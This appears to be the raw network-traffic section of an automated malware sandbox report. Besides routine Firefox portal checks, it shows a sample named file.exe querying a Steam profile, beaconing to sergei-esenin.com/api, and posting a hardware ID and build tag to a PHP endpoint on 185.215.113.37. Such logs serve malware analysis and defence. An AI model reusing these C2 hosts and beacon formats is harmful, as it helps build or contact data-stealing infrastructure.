Oct 24, 2024 19:31:18.609927893 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 18:32:13 GMT Age: 82745 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 19:31:18.643901110 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 19:31:18.791158915 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 18:32:13 GMT Age: 82745 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 19:31:19.103976011 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 19:31:19.231663942 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 18:32:13 GMT Age: 82746 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 19:31:19.297625065 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 19:31:19.424741030 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 18:32:13 GMT Age: 82746 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 19:31:19.744784117 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 19:31:19.872097015 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 18:32:13 GMT Age: 82746 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 19:31:19.942764044 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 19:31:20.069406033 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 18:32:13 GMT Age: 82747 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 19:31:24.339114904 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 19:31:24.467397928 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 18:32:13 GMT Age: 82751 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	50099	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:31:18.488553047 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	50103	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:31:18.629407883 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	50107	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:31:18.801480055 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.5	50109	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:31:19.240464926 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.5	50111	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:31:19.433610916 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.5	50112	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:31:19.881663084 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	50113	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:31:20.078332901 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 19:31:20.673451900 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 17:39:07 GMT Age: 85933 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 19:31:24.470448971 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 19:31:24.595460892 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 17:39:07 GMT Age: 85937 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	50114	185.215.113.37	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:31:22.157907009 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 19:31:23.072505951 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 17:31:22 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 19:31:23.074716091 CEST	411	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIJJKECFCFBGDHIECAAF Host: 185.215.113.37 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 4a 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 38 35 38 38 44 45 43 36 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 2d 2d 0d 0a Data Ascii: ------FIJJKECFCFBGDHIECAAFContent-Disposition: form-data; name="hwid"A48588DEC639786254513------FIJJKECFCFBGDHIECAAFContent-Disposition: form-data; name="build"doma------FIJJKECFCFBGDHIECAAF--
Oct 24, 2024 19:31:23.360759974 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 17:31:23 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49706	104.102.49.254	443	4500	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 17:29:09 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-24 17:29:10 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 24 Oct 2024 17:29:09 GMT Content-Length: 35741 Connection: close Set-Cookie: sessionid=9253a7c0a5913934b9990c0a; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cbcfeb0e5371aba24e9977faccad43253; Path=/; Secure; HttpOnly; SameSite=None
2024-10-24 17:29:10 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-24 17:29:10 UTC	16384	IN	Data Raw: 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 64 69 73 63 75 73 73 69 6f 6e 73 2f 22 3e 0d 0a 09 09 09 09 09 09 44 69 73 63 75 73 73 69 6f 6e 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 77 6f 72 6b 73 68 6f 70 2f 22 3e 0d 0a 09 09 09 09 09 09 57 6f 72 6b 73 68 6f 70 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 Data Ascii: <a class="submenuitem" href="https://steamcommunity.com/discussions/">Discussions</a><a class="submenuitem" href="https://steamcommunity.com/workshop/">Workshop</a><a class="submenuit
2024-10-24 17:29:10 UTC	3768	IN	Data Raw: 63 31 63 64 66 65 62 5f 66 75 6c 6c 2e 6a 70 67 22 3e 0d 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 22 3e 0d 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 5f 62 61 64 67 65 5f 61 72 65 61 22 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 64 61 74 61 2d 70 61 6e 65 6c 3d 22 7b 26 71 75 6f 74 3b 66 6f 63 75 73 61 62 6c 65 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 70 65 Data Ascii: c1cdfeb_full.jpg"></div></div><div class="profile_header_badgeinfo"><div class="profile_header_badgeinfo_badge_area"><a data-panel="{"focusable":true,"clickOnActivate":true}" class="pe
2024-10-24 17:29:10 UTC	1122	IN	Data Raw: 70 72 6f 70 65 72 74 79 20 6f 66 20 74 68 65 69 72 20 72 65 73 70 65 63 74 69 76 65 20 6f 77 6e 65 72 73 20 69 6e 20 74 68 65 20 55 53 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 75 6e 74 72 69 65 73 2e 3c 62 72 2f 3e 53 6f 6d 65 20 67 65 6f 73 70 61 74 69 61 6c 20 64 61 74 61 20 6f 6e 20 74 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 70 72 6f 76 69 64 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 6c 69 6e 6b 66 69 6c 74 65 72 2f 3f 75 3d 68 74 74 70 25 33 41 25 32 46 25 32 46 77 77 77 2e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 20 6e 6f 6f 70 65 6e 65 72 22 3e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 3c 2f 61 3e 2e 09 09 Data Ascii: property of their respective owners in the US and other countries.<br/>Some geospatial data on this website is provided by <a href="https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org" target="_blank" rel=" noopener">geonames.org</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49707	104.21.53.8	443	4500	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 17:29:10 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sergei-esenin.com
2024-10-24 17:29:10 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-24 17:29:11 UTC	566	IN	HTTP/1.1 403 Forbidden Date: Thu, 24 Oct 2024 17:29:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QOKjwCSR4mjz0Cf%2BvpqkNSt965QfiNxc17RVaN%2BgJasLsT7l3WmrKDMxS0Ys%2F2Z1JCbhWL%2F4Inki6%2BUNfICyQ2mBmYfiHyuFDwylFRogBPS7oZCk%2FW7EMSaN5B2CqxU5GEaTqA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7bb0036a15e5b9-DFW
2024-10-24 17:29:11 UTC	803	IN	Data Raw: 31 31 35 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1154<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-24 17:29:11 UTC	1369	IN	Data Raw: 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c Data Ascii: cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getEl
2024-10-24 17:29:11 UTC	1369	IN	Data Raw: 2f 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 2f 63 64 6e 2d 63 67 69 2f 70 68 69 73 68 2d 62 79 70 61 73 73 22 20 6d 65 74 68 6f 64 3d 22 47 45 54 22 20 65 6e 63 74 79 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: /access-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain">
2024-10-24 17:29:11 UTC	903	IN	Data Raw: 32 35 30 2e 37 31 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d Data 